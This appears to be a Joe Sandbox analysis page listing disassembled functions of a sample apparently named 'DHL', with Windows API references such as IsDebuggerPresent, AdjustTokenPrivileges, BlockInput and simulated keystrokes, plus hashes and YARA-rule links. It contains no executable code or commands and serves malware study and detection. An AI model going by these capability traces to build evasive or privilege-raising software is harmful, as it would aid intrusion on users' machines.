API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: f8ebd250fd954b31c22ca7c405173a9e6f96bd98b6db4dbf74670fb78eb5d6e9
Instruction ID: d97af6cbbe38e2781ceb2a02ec6bf43ab031b6436c275ea4d8ceb75f3215ec98
Opcode Fuzzy Hash: f8ebd250fd954b31c22ca7c405173a9e6f96bd98b6db4dbf74670fb78eb5d6e9
Instruction Fuzzy Hash: CB51AA74A04A01DFC714DF28D894E96B7E4FF8A324F14855DE95A8B3A1DB30EC44CB91

Function 009D2622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 009D271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 009D2724
UnhandledExceptionFilter.KERNEL32(?), ref: 009D2731

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 7c4022414215571501e1be5ed9dfc06021201108777eb1a101290d18135197a2
Instruction ID: 053b98b6c3f70eb9fde3ceabf805967b5cd1dede840f8d070476b0886706e2ef
Opcode Fuzzy Hash: 7c4022414215571501e1be5ed9dfc06021201108777eb1a101290d18135197a2
Instruction Fuzzy Hash: 5131F57094121CABCB21DF64DC88BDCBBB8AF48310F5041EAE81CA7261E7349F818F45

Function 00A151CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00A151DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00A15238
SetErrorMode.KERNEL32(00000000), ref: 00A152A1

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 784c40b96facff827d5ae398d4ba9394c753600ee79c8fb0b3d3626f4bab7b0d
Instruction ID: efa15d4c4194ad83e83e8cc00757dacb923848c9174bbdeee11a1d41ca0c33dd
Opcode Fuzzy Hash: 784c40b96facff827d5ae398d4ba9394c753600ee79c8fb0b3d3626f4bab7b0d
Instruction Fuzzy Hash: AE312975A00518DFDB00DFA4D884EEDBBB5FF49314F088099E805AB3A2DB35E856CB90

Function 00A016C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 009BFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 009C0668
Part of subcall function 009BFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 009C0685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00A0170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00A0173A
GetLastError.KERNEL32 ref: 00A0174A

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 519e56fc51d50ab0a87fcccd0f19ec0b24b9efef204486e44475c5efc80f2edf
Instruction ID: 990d4f4beb90e4dcacf52938e545757f1495fb88ce175dbfcca614e3f64ed1dd
Opcode Fuzzy Hash: 519e56fc51d50ab0a87fcccd0f19ec0b24b9efef204486e44475c5efc80f2edf
Instruction Fuzzy Hash: 471191B2504308AFD718DF54ED86EAAB7B9EB44724B20852EF05657681EB70FC418B60

Function 00A0D5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00A0D608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 00A0D645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00A0D650

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 1aba454cb4b8a5bb6b898a03a20a452fc2e5264069d1ac5abf16dedede7f283b
Instruction ID: 0ad8b11741520c3af70d218f9b26003ba8276a8d2536c799b3e51333396f6d3b
Opcode Fuzzy Hash: 1aba454cb4b8a5bb6b898a03a20a452fc2e5264069d1ac5abf16dedede7f283b
Instruction Fuzzy Hash: 8E113C76E05228BBDB108FD5AC45FAFBBBCEB45B60F108115F904E7290D6704A058BA1

Function 00A01663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00A0168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00A016A1
FreeSid.ADVAPI32(?), ref: 00A016B1

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 68b9d3083409c0f96ad7e02c7af9bd78994d7fd9aed22485748d66640c5499c4
Instruction ID: 3b8a1a6e53f1950157a4a730411488f7b80b1ac89f9f9263c7891368192bc28d
Opcode Fuzzy Hash: 68b9d3083409c0f96ad7e02c7af9bd78994d7fd9aed22485748d66640c5499c4
Instruction Fuzzy Hash: CEF0F47195030DFBDB00DFE49D89AAEBBBCEB08714F504565E501E2181E774AA448B50

Function 009C4CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(009D28E9,?,009C4CBE,009D28E9,00A688B8,0000000C,009C4E15,009D28E9,00000002,00000000,?,009D28E9), ref: 009C4D09
TerminateProcess.KERNEL32(00000000,?,009C4CBE,009D28E9,00A688B8,0000000C,009C4E15,009D28E9,00000002,00000000,?,009D28E9), ref: 009C4D10
ExitProcess.KERNEL32 ref: 009C4D22

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: f6563768f49ea9d41b7744f1edd115b52c05a6bb726b38d86f8699a3fc148c61
Instruction ID: d7571cdfb447ad270d7a7c2855d904c8b2de453bb3480310984f80a65afa4c59
Opcode Fuzzy Hash: f6563768f49ea9d41b7744f1edd115b52c05a6bb726b38d86f8699a3fc148c61
Instruction Fuzzy Hash: CDE0B631500148ABCF11BFA4DE1AF987B69EB817A1B108418FC0A9A262CB35ED52DB81

Function 009DC2A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 009DC36C

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: eed068ecbb50cac4d38398a264687e5ddbd28b322b8374dbde464d2ebf0911bf
Instruction ID: d2cefb33bf8a149d50b1905a2b2fe743c6e0e171b3412c01a3b49815a2f95822
Opcode Fuzzy Hash: eed068ecbb50cac4d38398a264687e5ddbd28b322b8374dbde464d2ebf0911bf
Instruction Fuzzy Hash: 7E4128B694021A6BCB249FB9CC49EBBB77CEB84354F10826AF915D7280E6709D41CB50

Function 009FD27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 009FD28C

Strings

X64, xrefs: 009FD2A8

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: f5f988d883b73c5ec084b926cb5cb27cdcfaffbe87b366c894d1ef029e257814
Instruction ID: 302d3e8bce339a8cbda9b54a651f02c781d17a174ee9a53e26a104e0c8bfea9e
Opcode Fuzzy Hash: f5f988d883b73c5ec084b926cb5cb27cdcfaffbe87b366c894d1ef029e257814
Instruction Fuzzy Hash: C6D0C9B480212DEACB94DB90DC88DD9B37CBB04325F100551F106B2000D73495498F10

Function 009CCAA0 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction ID: b5c6f6186e097b494e0b00dd9ad242803e1a173a276c891d0f0e06b5d3461562
Opcode Fuzzy Hash: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction Fuzzy Hash: 66021CB1E002199BDF14CFA9C880BADBBF5EF88314F25456DD819E7380D731AE418B95

Function 00A168EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00A16918
FindClose.KERNEL32(00000000), ref: 00A16961

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 50708f3753a27822670c245836b646e6ce359edf63f810050cc36c8c22c54e22
Instruction ID: d08acd712b0336f343776fc7c97d800d7a300b234da2eda47431e3c5db0e02f5
Opcode Fuzzy Hash: 50708f3753a27822670c245836b646e6ce359edf63f810050cc36c8c22c54e22
Instruction Fuzzy Hash: 88118E716042109FC710DF69D885A56BBE5EF85328F14C699F8698F2A2C730EC45CBD1

Function 00A137B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00A24891,?,?,00000035,?), ref: 00A137E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00A24891,?,?,00000035,?), ref: 00A137F4

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 5a17ce0b1a8a77a2d0feee93f20660c310845e93de6f84c4a49cf08758c2213b
Instruction ID: d079a6a7022c7dd074ca72070626d4aa4ccb84960dbe4a5e99a9529657562cf3
Opcode Fuzzy Hash: 5a17ce0b1a8a77a2d0feee93f20660c310845e93de6f84c4a49cf08758c2213b
Instruction Fuzzy Hash: D1F0E5B16043282AEB20A7A68C4DFEB7AAEEFC5771F000175F509E22C1DA609D44C7F0

Function 00A0B226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00A0B25D
keybd_event.USER32(?,76C1C0D0,?,00000000), ref: 00A0B270

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 4e114266e5ad10ae8a5ba954ad567174babcefd9822eef2c1d6255754a07fd50
Instruction ID: df3761734c60ba6a9177c7de0c5a948f39ad9a08912d71d35d39ea1f1bf57f95
Opcode Fuzzy Hash: 4e114266e5ad10ae8a5ba954ad567174babcefd9822eef2c1d6255754a07fd50
Instruction Fuzzy Hash: A9F01D7185424DABDB05DFA0DC05BEE7BB4FF08315F00800AF955A5191C37986119FA4

Function 00A010BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00A011FC), ref: 00A010D4
CloseHandle.KERNEL32(?,?,00A011FC), ref: 00A010E9

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: c18cc930e692d55217c5df2a9666a0caecab33adec77b6302cae1613942fd9fd
Instruction ID: ea48c13a0ea0cdbcbf3034c2e552d876c05c41d21e412abcd878948f3e59e133
Opcode Fuzzy Hash: c18cc930e692d55217c5df2a9666a0caecab33adec77b6302cae1613942fd9fd
Instruction Fuzzy Hash: C1E04F32004600AEE7252B51FD05FB377E9EB04320F10882DF4A5804B1DB62ACA0DB10

Function 009ACAF0 Relevance: 1.9, Strings: 1, Instructions: 659COMMON

Download Yara Rule

Strings

Variable is not of type 'Object'., xrefs: 009F0C40

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID: Variable is not of type 'Object'.
API String ID: 0-1840281001
Opcode ID: 59ece41b7fd1d619e932e069184fc19eb385d6a7c144fa15541ca91d33954b6a
Instruction ID: 50066d96f364867249af2f58549999d90e64b78a6b44d6c3c8ac1f6ac4ca3f7b
Opcode Fuzzy Hash: 59ece41b7fd1d619e932e069184fc19eb385d6a7c144fa15541ca91d33954b6a
Instruction Fuzzy Hash: A5326AB0900218DFCF14DF94C985BEDB7B9BF86318F248459E906AF292D735AD45CBA0

Function 009D676B Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,009D6766,?,?,00000008,?,?,009DFEFE,00000000), ref: 009D6998

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: e5445e6277fa9926067ba9598e2558cc684087368c27a30f23054de9b2757719
Instruction ID: 19a6281461b583783f89cca6cfd6e9e614dc6137faff2b5e1ec5dcc6188b4346
Opcode Fuzzy Hash: e5445e6277fa9926067ba9598e2558cc684087368c27a30f23054de9b2757719
Instruction Fuzzy Hash: 9AB128316506099FD719CF28C48AB657BA0FF45364F29C65AE8D9CF3A2C339E991CB40

Function 009BB119 Relevance: 1.8, Strings: 1, Instructions: 511COMMON

Download Yara Rule

Strings

, xrefs: 009F851F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 85120841eb21ba4af2b407a7766e7849edf8de168080a56a1a651014bb78b655
Instruction ID: f639fa57e503205eb3f6082718789a415e5b059e15c30c53b09c195b43b5c66f
Opcode Fuzzy Hash: 85120841eb21ba4af2b407a7766e7849edf8de168080a56a1a651014bb78b655
Instruction Fuzzy Hash: 8A126E759002299FCB64CF58C9807FEB7F5FF48710F14819AE949EB291EB749A81CB90

Function 00A1EAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00A1EABD

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 516212c2b8d43f0c25ebc0f829ab12d123075fa1e0d3fff7d02cdd3a54a55984
Instruction ID: 5c437e36eefc2f86cb3df6c74432c8b7469d39deb408dabf4af411dfbbda3c0d
Opcode Fuzzy Hash: 516212c2b8d43f0c25ebc0f829ab12d123075fa1e0d3fff7d02cdd3a54a55984
Instruction Fuzzy Hash: AFE04F322002049FC710EF69D905E9AF7E9AF997B0F008416FC4ADB351DB70E8818BD1

Function 009C09D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,009C03EE), ref: 009C09DA

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: bb209b28b143d14d7cde1bb5549ae2e85604e5a83c9e587f6e65e1438f51c890
Instruction ID: 76c551e81fa9f2946658618857f992fae52031b1fa563635d05775ffdc163e0e
Opcode Fuzzy Hash: bb209b28b143d14d7cde1bb5549ae2e85604e5a83c9e587f6e65e1438f51c890
Instruction Fuzzy Hash:

Function 009C781B Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 009C798B

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction ID: 71780cd517b49e42927a0beda88b27cbd10a7fad76c105791b463e5ab0de6505
Opcode Fuzzy Hash: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction Fuzzy Hash: 09516961E0C6056BDF3885E888D9FBFE79D9B52340F18090DEA82D7282C625DE01DF53

Function 009D6DD9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
